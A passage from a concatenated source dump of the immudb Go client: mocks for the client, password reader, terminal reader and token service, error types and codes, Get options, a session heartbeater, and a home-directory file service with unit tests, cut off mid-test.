*schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error) DatabaseListF func(context.Context) (*schema.DatabaseListResponse, error) ChangePasswordF func(context.Context, []byte, []byte, []byte) error CreateUserF func(context.Context, []byte, []byte, uint32, string) error } // GetOptions ... func (icm *ImmuClientMock) GetOptions() *client.Options { return icm.GetOptionsF() } // IsConnected ... func (icm *ImmuClientMock) IsConnected() bool { return icm.IsConnectedF() } // HealthCheck ... func (icm *ImmuClientMock) HealthCheck(ctx context.Context) error { return icm.HealthCheckF(ctx) } // WaitForHealthCheck ... func (icm *ImmuClientMock) WaitForHealthCheck(ctx context.Context) (err error) { return icm.WaitForHealthCheckF(ctx) } // Connect ... func (icm *ImmuClientMock) Connect(ctx context.Context) (clientConn *grpc.ClientConn, err error) { return icm.ConnectF(ctx) } // Disconnect ... func (icm *ImmuClientMock) Disconnect() error { return icm.DisconnectF() } // Login ... func (icm *ImmuClientMock) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) { return icm.LoginF(ctx, user, pass) } // Logout ... func (icm *ImmuClientMock) Logout(ctx context.Context) error { return icm.LogoutF(ctx) } // VerifiedGet ... func (icm *ImmuClientMock) VerifiedGet(ctx context.Context, key []byte, opts ...client.GetOption) (*schema.Entry, error) { return icm.VerifiedGetF(ctx, key, opts...) } // VerifiedGetAt ... func (icm *ImmuClientMock) VerifiedGetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) { return icm.VerifiedGetAtF(ctx, key, tx) } // VerifiedSet ... func (icm *ImmuClientMock) VerifiedSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) { return icm.VerifiedSetF(ctx, key, value) } // VerifiedSet ... func (icm *ImmuClientMock) VerifiableGet(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { return icm.VerifiableGetF(ctx, in, opts...) } // Set ... func (icm *ImmuClientMock) Set(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) { return icm.SetF(ctx, key, value) } func (icm *ImmuClientMock) SetAll(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) { return icm.SetAllF(ctx, req) } // SetReference ... func (icm *ImmuClientMock) SetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) { return icm.SetReferenceF(ctx, key, referencedKey, 0) } // VerifiedSetReference ... func (icm *ImmuClientMock) VerifiedSetReference(ctx context.Context, key []byte, referencedKey []byte) (*schema.TxHeader, error) { return icm.VerifiedSetReferenceF(ctx, key, referencedKey, 0) } // SetReferenceAt ... func (icm *ImmuClientMock) SetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) { return icm.SetReferenceF(ctx, key, referencedKey, atTx) } // VerifiedSetReferenceAt ... func (icm *ImmuClientMock) VerifiedSetReferenceAt(ctx context.Context, key []byte, referencedKey []byte, atTx uint64) (*schema.TxHeader, error) { return icm.VerifiedSetReferenceF(ctx, key, referencedKey, atTx) } // ZAdd ... func (icm *ImmuClientMock) ZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) { return icm.ZAddF(ctx, set, score, key, 0) } // SafeZAdd ... func (icm *ImmuClientMock) VerifiedZAdd(ctx context.Context, set []byte, score float64, key []byte) (*schema.TxHeader, error) { return icm.VerifiedZAddF(ctx, set, score, key, 0) } // ZAddAt ... func (icm *ImmuClientMock) ZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) { return icm.ZAddF(ctx, set, score, key, atTx) } // VerifiedZAddAt ... func (icm *ImmuClientMock) VerifiedZAddAt(ctx context.Context, set []byte, score float64, key []byte, atTx uint64) (*schema.TxHeader, error) { return icm.VerifiedZAddF(ctx, set, score, key, atTx) } // History ... func (icm *ImmuClientMock) History(ctx context.Context, options *schema.HistoryRequest) (*schema.Entries, error) { return icm.HistoryF(ctx, options) } // UseDatabase ... func (icm *ImmuClientMock) UseDatabase(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) { return icm.UseDatabaseF(ctx, d) } // UpdateDatabase ... func (icm *ImmuClientMock) UpdateDatabase(ctx context.Context, s *schema.DatabaseSettings) error { return icm.UpdateDatabaseF(ctx, s) } // UpdateDatabaseV2 ... func (icm *ImmuClientMock) UpdateDatabaseV2(ctx context.Context, db string, setttings *schema.DatabaseNullableSettings) (*schema.UpdateDatabaseResponse, error) { return icm.UpdateDatabaseV2F(ctx, db, setttings) } // Dump ... func (icm *ImmuClientMock) Dump(ctx context.Context, writer io.WriteSeeker) (int64, error) { return icm.DumpF(ctx, writer) } // CurrentState ... func (icm *ImmuClientMock) CurrentState(ctx context.Context) (*schema.ImmutableState, error) { return icm.CurrentStateF(ctx) } // Get ... func (icm *ImmuClientMock) Get(ctx context.Context, key []byte, opts ...client.GetOption) (*schema.Entry, error) { return icm.GetF(ctx, key, opts...) } // TxByID ... func (icm *ImmuClientMock) TxByID(ctx context.Context, ID uint64) (*schema.Tx, error) { return icm.TxByIDF(ctx, ID) } // VerifiedTxByID ... func (icm *ImmuClientMock) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, error) { return icm.VerifiedTxByIDF(ctx, tx) } // ListUsers ... func (icm *ImmuClientMock) ListUsers(ctx context.Context) (*schema.UserList, error) { return icm.ListUsersF(ctx) } // SetActiveUser ... func (icm *ImmuClientMock) SetActiveUser(ctx context.Context, u *schema.SetActiveUserRequest) error { return icm.SetActiveUserF(ctx, u) } // ChangePermission ... func (icm *ImmuClientMock) ChangePermission(ctx context.Context, action schema.PermissionAction, username string, database string, permissions uint32) error { return icm.ChangePermissionF(ctx, action, username, database, permissions) } // ZScan ... func (icm *ImmuClientMock) ZScan(ctx context.Context, request *schema.ZScanRequest) (*schema.ZEntries, error) { return icm.ZScanF(ctx, request) } // Scan ... func (icm *ImmuClientMock) Scan(ctx context.Context, request *schema.ScanRequest) (*schema.Entries, error) { return icm.ScanF(ctx, request) } // Count ... func (icm *ImmuClientMock) Count(ctx context.Context, prefix []byte) (*schema.EntryCount, error) { return icm.CountF(ctx, prefix) } // CreateDatabase ... func (icm *ImmuClientMock) CreateDatabase(ctx context.Context, db *schema.DatabaseSettings) error { return icm.CreateDatabaseF(ctx, db) } // CreateDatabaseV2 ... func (icm *ImmuClientMock) CreateDatabaseV2(ctx context.Context, db string, setttings *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) { return icm.CreateDatabaseV2F(ctx, db, setttings) } // DatabaseList ... func (icm *ImmuClientMock) DatabaseList(ctx context.Context) (*schema.DatabaseListResponse, error) { return icm.DatabaseListF(ctx) } // ChangePassword ... func (icm *ImmuClientMock) ChangePassword(ctx context.Context, user []byte, oldPass []byte, newPass []byte) error { return icm.ChangePasswordF(ctx, user, oldPass, newPass) } // CreateUser ... func (icm *ImmuClientMock) CreateUser(ctx context.Context, user []byte, pass []byte, permission uint32, databasename string) error { return icm.CreateUserF(ctx, user, pass, permission, databasename) } ================================================ FILE: pkg/client/clienttest/immuclient_mock_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package clienttest import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestImmuClientMock(t *testing.T) { errWaitForHealthCheck := errors.New("WaitForHealthCheckF got called") errConnect := errors.New("ConnectF got called") errDisconnect := errors.New("DisconnectF got called") errLogin := errors.New("LoginF got called") errLogout := errors.New("LogoutF got called") errVerifiedGet := errors.New("VerifiedGetF got called") errVerifiedSet := errors.New("VerifiedSetF got called") errVerifiableGet := errors.New("VerifiableGetF got called") errSet := errors.New("SetF got called") errVerifiedReference := errors.New("VerifiedReferenceF got called") errVerifiedZAdd := errors.New("VerifiedZAddF got called") errHistory := errors.New("HistoryF got called") errCreateDatabase := errors.New("CreateDatabaseV2F got called") icm := &ImmuClientMock{ ImmuClient: client.NewClient(), IsConnectedF: func() bool { return true }, WaitForHealthCheckF: func(context.Context) error { return errWaitForHealthCheck }, ConnectF: func(context.Context) (*grpc.ClientConn, error) { return nil, errConnect }, DisconnectF: func() error { return errDisconnect }, LoginF: func(context.Context, []byte, []byte) (*schema.LoginResponse, error) { return nil, errLogin }, LogoutF: func(context.Context) error { return errLogout }, VerifiedGetF: func(context.Context, []byte, ...client.GetOption) (*schema.Entry, error) { return nil, errVerifiedGet }, VerifiedSetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) { return nil, errVerifiedSet }, VerifiableGetF: func(ctx context.Context, in *schema.VerifiableGetRequest, opts ...grpc.CallOption) (*schema.VerifiableEntry, error) { return nil, errVerifiableGet }, SetF: func(context.Context, []byte, []byte) (*schema.TxHeader, error) { return nil, errSet }, SetAllF: func(context.Context, *schema.SetRequest) (*schema.TxHeader, error) { return nil, errSet }, VerifiedSetReferenceF: func(context.Context, []byte, []byte, uint64) (*schema.TxHeader, error) { return nil, errVerifiedReference }, VerifiedZAddF: func(context.Context, []byte, float64, []byte, uint64) (*schema.TxHeader, error) { return nil, errVerifiedZAdd }, HistoryF: func(context.Context, *schema.HistoryRequest) (*schema.Entries, error) { return nil, errHistory }, CreateDatabaseV2F: func(context.Context, string, *schema.DatabaseNullableSettings) (*schema.CreateDatabaseResponse, error) { return nil, errCreateDatabase }, } require.True(t, icm.IsConnected()) err := icm.WaitForHealthCheck(context.Background()) require.ErrorIs(t, err, errWaitForHealthCheck) _, err = icm.Connect(context.Background()) require.ErrorIs(t, err, errConnect) err = icm.Disconnect() require.ErrorIs(t, err, errDisconnect) _, err = icm.Login(context.Background(), nil, nil) require.ErrorIs(t, err, errLogin) require.ErrorIs(t, errLogout, icm.Logout(context.Background())) _, err = icm.VerifiedGet(context.Background(), nil) require.ErrorIs(t, err, errVerifiedGet) _, err = icm.VerifiedSet(context.Background(), nil, nil) require.ErrorIs(t, err, errVerifiedSet) _, err = icm.VerifiableGet(context.Background(), nil, nil) require.ErrorIs(t, err, errVerifiableGet) _, err = icm.Set(context.Background(), nil, nil) require.ErrorIs(t, err, errSet) _, err = icm.SetAll(context.Background(), nil) require.ErrorIs(t, err, errSet) _, err = icm.VerifiedSetReference(context.Background(), nil, nil) require.ErrorIs(t, err, errVerifiedReference) _, err = icm.VerifiedZAdd(context.Background(), nil, 0., nil) require.ErrorIs(t, err, errVerifiedZAdd) _, err = icm.History(context.Background(), nil) require.ErrorIs(t, err, errHistory) _, err = icm.CreateDatabaseV2(context.Background(), "", nil) require.ErrorIs(t, err, errCreateDatabase) } ================================================ FILE: pkg/client/clienttest/password_reader_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package clienttest ... package clienttest // PasswordReaderMock ... type PasswordReaderMock struct { ReadF func(msg string) ([]byte, error) } func (pr *PasswordReaderMock) Read(msg string) ([]byte, error) { if pr.ReadF != nil { return pr.ReadF(msg) } return []byte("password"), nil } ================================================ FILE: pkg/client/clienttest/terminal_reader_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package clienttest ... package clienttest // TerminalReaderMock ... type TerminalReaderMock struct { Counter int Responses []string ReadFromTerminalYNF func(string) (string, error) } // ReadFromTerminalYN ... func (t *TerminalReaderMock) ReadFromTerminalYN(def string) (selected string, err error) { if t.ReadFromTerminalYNF != nil { return t.ReadFromTerminalYNF(def) } if len(t.Responses) < t.Counter { panic("not enough responses") } resp := t.Responses[t.Counter] t.Counter++ return resp, nil } ================================================ FILE: pkg/client/clienttest/token_service_mock.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package clienttest import ( "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" ) var ( _ tokenservice.TokenService = (*TokenServiceMock)(nil) ) type TokenServiceMock struct { tokenservice.TokenService GetTokenF func() (string, error) SetTokenF func(database string, token string) error IsTokenPresentF func() (bool, error) DeleteTokenF func() error } func (ts TokenServiceMock) GetToken() (string, error) { return ts.GetTokenF() } func (ts TokenServiceMock) SetToken(database string, token string) error { return ts.SetTokenF(database, token) } func (ts TokenServiceMock) DeleteToken() error { return ts.DeleteTokenF() } func (ts TokenServiceMock) IsTokenPresent() (bool, error) { return ts.IsTokenPresentF() } func (ts TokenServiceMock) GetDatabase() (string, error) { return "", nil } func (ts TokenServiceMock) WithHds(hds homedir.HomedirService) tokenservice.TokenService { return ts } func (ts TokenServiceMock) WithTokenFileName(tfn string) tokenservice.TokenService { return ts } // DefaultHomedirServiceMock ... func DefaultTokenServiceMock() *TokenServiceMock { return &TokenServiceMock{ GetTokenF: func() (string, error) { return "", nil }, SetTokenF: func(database string, token string) error { return nil }, IsTokenPresentF: func() (bool, error) { return true, nil }, DeleteTokenF: func() error { return nil }, } } ================================================ FILE: pkg/client/errors/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/grpc/status" ) // ImmuError SDK immudb error interface. // _, err = client.StreamSet(ctx, kvs) // code := err.(errors.ImmuError).Code()) //errors.CodDataException type ImmuError interface { //Error return the message. Error() string //Cause is the inner error cause. Cause() string //Stack is present if immudb is running with LEVEL_INFO=debug Stack() string //Code is the immudb error code Code() Code //RetryDelay if present the error is retryable after N milliseconds RetryDelay() int32 } func New(message string) *immuError { return &immuError{ msg: message, code: CodInternalError, } } type immuError struct { cause string code Code msg string retryDelay int32 stack string } func FromError(err error) ImmuError { if err == nil { return nil } if immuErr, ok := err.(ImmuError); ok { // Already an ImmuError instance return immuErr } st, ok := status.FromError(err) if ok { ie := New(st.Message()) for _, det := range st.Details() { switch ele := det.(type) { case *schema.ErrorInfo: ie.WithCode(Code(ele.Code)).WithCause(ele.Cause) case *schema.DebugInfo: ie.WithStack(ele.Stack) case *schema.RetryInfo: ie.WithRetryDelay(ele.RetryDelay) } } return ie } return New(err.Error()) } func (f *immuError) Error() string { return f.msg } func (f *immuError) Cause() string { return f.cause } func (f *immuError) Stack() string { return f.stack } func (f *immuError) Code() Code { return f.code } func (f *immuError) RetryDelay() int32 { return f.retryDelay } func (e *immuError) WithMessage(message string) *immuError { e.msg = message return e } func (e *immuError) WithCause(cause string) *immuError { e.cause = cause return e } func (e *immuError) WithCode(code Code) *immuError { e.code = code return e } func (e *immuError) WithStack(stack string) *immuError { e.stack = stack return e } func (e *immuError) WithRetryDelay(retry int32) *immuError { e.retryDelay = retry return e } func (e *immuError) Is(target error) bool { if target == nil { return false } t, ok := target.(ImmuError) if !ok { return e.Error() == target.Error() } return compare(e, t) } func compare(e ImmuError, t ImmuError) bool { if e.Code() != CodInternalError || t.Code() != CodInternalError { return e.Code() == t.Code() } return e.Cause() == t.Cause() && e.Error() == t.Error() } ================================================ FILE: pkg/client/errors/meta.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors type Code string const ( CodSuccessCompletion Code = "00000" CodInternalError Code = "XX000" CodSqlclientUnableToEstablishSqlConnection Code = "08001" CodSqlserverRejectedEstablishmentOfSqlconnection Code = "08004" CodProtocolViolation Code = "08P01" CodDataException Code = "22000" CodInvalidParameterValue Code = "22023" CodUndefinedFunction Code = "42883" CodInvalidDatabaseName Code = "3F000" CodInvalidAuthorizationSpecification Code = "28000" CodSqlserverRejectedEstablishmentOfSqlSession Code = "08001" CodInvalidTransactionInitiation Code = "0B000" CodInFailedSqlTransaction Code = "25P02" CodIntegrityConstraintViolation Code = "23000" // Backwards compatibility CodNoSessionAuthDataProvided Code = CodInvalidAuthorizationSpecification ) ================================================ FILE: pkg/client/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "github.com/codenotary/immudb/pkg/client/errors" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) // Errors related to Client connection and health check var ( // ErrIllegalArguments indicates illegal arguments provided to a method ErrIllegalArguments = errors.New("illegal arguments") // ErrAlreadyConnected is used when trying to establish a new connection with a client that is already connected ErrAlreadyConnected = errors.New("already connected") // ErrNotConnected is used when the operation can not be done because the client connection is closed ErrNotConnected = errors.New("not connected") // ErrHealthCheckFailed is used to indicate that health check has failed ErrHealthCheckFailed = errors.New("health check failed") // ErrServerStateIsOlder is used to inform that the client has newer state than the server. // This could happen if the client connects to an asynchronous replica that did not yet // replicate all transactions from the primary database. ErrServerStateIsOlder = errors.New("server state is older than the client one") // ErrSessionAlreadyOpen is used when trying to create a new session but there's a valid session already set up. ErrSessionAlreadyOpen = errors.New("session already opened") ) // Server errors mapping var ( ErrSrvIllegalArguments = status.Error(codes.InvalidArgument, "illegal arguments") ErrSrvIllegalState = status.Error(codes.InvalidArgument, "illegal state") ErrSrvEmptyAdminPassword = status.Error(codes.InvalidArgument, "Admin password cannot be empty") ErrWriteOnlyTXNotAllowed = status.Error(codes.InvalidArgument, "write only transaction not allowed") ) ================================================ FILE: pkg/client/get_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "github.com/codenotary/immudb/pkg/api/schema" ) // GetOption is used to set additional options when reading a value with a Get call type GetOption func(req *schema.KeyRequest) error // NoWait option set to true means that the server should not wait for the indexer // to be up-to-date with the most recent transaction. // // In practice this means that the user will get the result instantly without the // risk of the server wait for the indexer that may happen in case of a large spike // of new transactions. // // The disadvantage of using this option is that the server can reply with an older // value for the same key or with a key not found result even though already committed // transactions contain newer updates to that key. func NoWait(nowait bool) GetOption { return func(req *schema.KeyRequest) error { req.NoWait = nowait return nil } } // SinceTx option can be used to avoid waiting for the indexer to be up-to-date // with the most recent transaction. The client requires though that at least // the transaction with id given in the tx parameter must be indexed. // // This option can be used to avoid additional latency while the server waits // for the indexer to finish indexing but still guarantees that specific portion // of the database history has already been indexed. func SinceTx(tx uint64) GetOption { return func(req *schema.KeyRequest) error { req.SinceTx = tx return nil } } // AtTx option is used to specify that the value read must be the one set // at transaction with id given in the tx parameter. // // If the key was not modified at given transaction, the request will // return key not found result even if the key was changed before that transaction. // // Using AtTx also allows reading entries set with disabled indexing. func AtTx(tx uint64) GetOption { return func(req *schema.KeyRequest) error { req.AtTx = tx return nil } } // AtRevision request specific revision for given key. // // Key revision is an integer value that starts at 1 when // the key is created and then increased by 1 on every update // made to that key. // // The way rev is interpreted depends on the value: // - if rev = 0, returns current value // - if rev > 0, returns nth revision value, // e.g. 1 is the first value, 2 is the second and so on // - if rev < 0, returns nth revision value from the end, // e.g. -1 is the previous value, -2 is the one before and so on func AtRevision(rev int64) GetOption { return func(req *schema.KeyRequest) error { req.AtRevision = rev return nil } } ================================================ FILE: pkg/client/get_options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client_test import ( "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/stretchr/testify/require" ) func TestGetOptionsAtTx(t *testing.T) { req := &schema.KeyRequest{Key: []byte("key")} err := client.AtTx(100)(req) require.NoError(t, err) require.Equal(t, &schema.KeyRequest{ Key: []byte("key"), AtTx: 100, }, req) } func TestGetOptionsSinceTx(t *testing.T) { req := &schema.KeyRequest{Key: []byte("key")} err := client.SinceTx(101)(req) require.NoError(t, err) require.Equal(t, &schema.KeyRequest{ Key: []byte("key"), SinceTx: 101, }, req) } func TestGetOptionsNoWait(t *testing.T) { req := &schema.KeyRequest{Key: []byte("key")} err := client.NoWait(true)(req) require.NoError(t, err) require.Equal(t, &schema.KeyRequest{ Key: []byte("key"), NoWait: true, }, req) } func TestGetOptionsAtRevision(t *testing.T) { req := &schema.KeyRequest{Key: []byte("key")} err := client.AtRevision(102)(req) require.NoError(t, err) require.Equal(t, &schema.KeyRequest{ Key: []byte("key"), AtRevision: 102, }, req) } ================================================ FILE: pkg/client/heartbeater.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" stdos "os" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" ) type heartBeater struct { sessionID string logger logger.Logger serviceClient schema.ImmuServiceClient done chan struct{} t *time.Ticker errorHandler ErrorHandler } type HeartBeater interface { KeepAlive(ctx context.Context) Stop() } func NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, errhandler ErrorHandler, l logger.Logger) *heartBeater { if l == nil { l = logger.NewSimpleLogger("immuclient", stdos.Stdout) } return &heartBeater{ sessionID: sessionID, logger: l, serviceClient: sc, done: make(chan struct{}), t: time.NewTicker(keepAliveInterval), errorHandler: errhandler, } } func (hb *heartBeater) KeepAlive(ctx context.Context) { go func() { for { select { case <-hb.done: return case t := <-hb.t.C: hb.logger.Debugf("keep alive for %s at %s\n", hb.sessionID, t.String()) err := hb.keepAliveRequest(ctx) if err != nil { hb.logger.Errorf("an error occurred on keep alive %s at %s: %v\n", hb.sessionID, t.String(), err) if hb.errorHandler != nil { hb.errorHandler(hb.sessionID, err) } } } } }() } func (hb *heartBeater) Stop() { hb.t.Stop() close(hb.done) } func (hb *heartBeater) keepAliveRequest(ctx context.Context) error { c, cancel := context.WithTimeout(ctx, time.Second*3) defer cancel() _, err := hb.serviceClient.KeepAlive(c, new(empty.Empty)) if err != nil { return err } return err } ================================================ FILE: pkg/client/homedir/homedir.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package homedir import ( "io/ioutil" "os" "os/user" "path/filepath" "strings" ) type HomedirService interface { WriteFileToUserHomeDir(content []byte, pathToFile string) error FileExistsInUserHomeDir(pathToFile string) (bool, error) ReadFileFromUserHomeDir(pathToFile string) (string, error) DeleteFileFromUserHomeDir(pathToFile string) error } type homedirService struct{} func NewHomedirService() *homedirService { return &homedirService{} } // WriteFileToUserHomeDir writes the provided content to the specified file path // or to user home dir if just a filename is provided func (h *homedirService) WriteFileToUserHomeDir(content []byte, pathToFile string) error { p := pathToFile if !strings.Contains(pathToFile, "/") && !strings.Contains(pathToFile, "\\") { user, err := user.Current() if err == nil { p = filepath.Join(user.HomeDir, p) if err := ioutil.WriteFile(p, content, 0644); err == nil { return nil } } } return ioutil.WriteFile(p, content, 0644) } // FileExistsInUserHomeDir checks if the file at the provided path exists or, in // case just a filename is provided, it looks for it in the user home dir func (h *homedirService) FileExistsInUserHomeDir(pathToFile string) (bool, error) { if !strings.Contains(pathToFile, "/") && !strings.Contains(pathToFile, "\\") { user, err := user.Current() if err == nil { p := filepath.Join(user.HomeDir, pathToFile) if _, err := os.Stat(p); err == nil { return true, nil } } } if _, err := os.Stat(pathToFile); err != nil { if os.IsNotExist(err) { return false, nil } return false, err } return true, nil } // ReadFileFromUserHomeDir reads the contents at the specified filepath; if just // a filename is specified, it looks for it in the user home dir func (h *homedirService) ReadFileFromUserHomeDir(pathToFile string) (string, error) { if !strings.Contains(pathToFile, "/") && !strings.Contains(pathToFile, "\\") { user, err := user.Current() if err == nil { p := filepath.Join(user.HomeDir, pathToFile) if _, err := os.Stat(p); err == nil { contentBytes, err := ioutil.ReadFile(p) if err == nil { return string(contentBytes), nil } } } } contentBytes, err := ioutil.ReadFile(pathToFile) if err != nil { return "", err } return string(contentBytes), nil } // DeleteFileFromUserHomeDir deletes the file at the provided path or from user // home dir if just a filename is provided func (h *homedirService) DeleteFileFromUserHomeDir(pathToFile string) error { if !strings.Contains(pathToFile, "/") && !strings.Contains(pathToFile, "\\") { user, err := user.Current() if err == nil { p := filepath.Join(user.HomeDir, pathToFile) return os.Remove(p) } else { return err } } return os.Remove(pathToFile) } ================================================ FILE: pkg/client/homedir/homedir_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package homedir import ( "os" "os/user" "path/filepath" "syscall" "testing" "github.com/stretchr/testify/require" ) func TestWriteFileToUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := "testfile" user, _ := user.Current() err := hds.WriteFileToUserHomeDir(content, pathToFile) require.FileExists(t, filepath.Join(user.HomeDir, pathToFile)) require.NoError(t, err) os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) } func TestFileExistsInUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := "testfile" user, _ := user.Current() exists, err := hds.FileExistsInUserHomeDir(filepath.Join(user.HomeDir, pathToFile)) require.False(t, exists) require.NoError(t, err) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) exists, err = hds.FileExistsInUserHomeDir(pathToFile) require.True(t, exists) require.NoError(t, err) os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) } func TestReadFileFromUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := "testfile" user, _ := user.Current() _, err := hds.ReadFileFromUserHomeDir(pathToFile) require.ErrorIs(t, err, os.ErrNotExist) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) defer os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) strcontent, err := hds.ReadFileFromUserHomeDir(pathToFile) require.NoError(t, err) require.NotEmpty(t, strcontent) } func TestDeleteFileFromUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := "testfile" user, _ := user.Current() err := hds.DeleteFileFromUserHomeDir(pathToFile) require.ErrorIs(t, err, os.ErrNotExist) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) defer os.RemoveAll(filepath.Join(user.HomeDir, pathToFile)) err = hds.DeleteFileFromUserHomeDir(pathToFile) require.NoError(t, err) require.NoFileExists(t, filepath.Join(user.HomeDir, pathToFile)) } func TestWriteDirFileToUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := filepath.Join(t.TempDir(), "testfile") err := hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) require.FileExists(t, pathToFile) } func TestDirFileExistsInUserHomeDir(t *testing.T) { hds := NewHomedirService() content 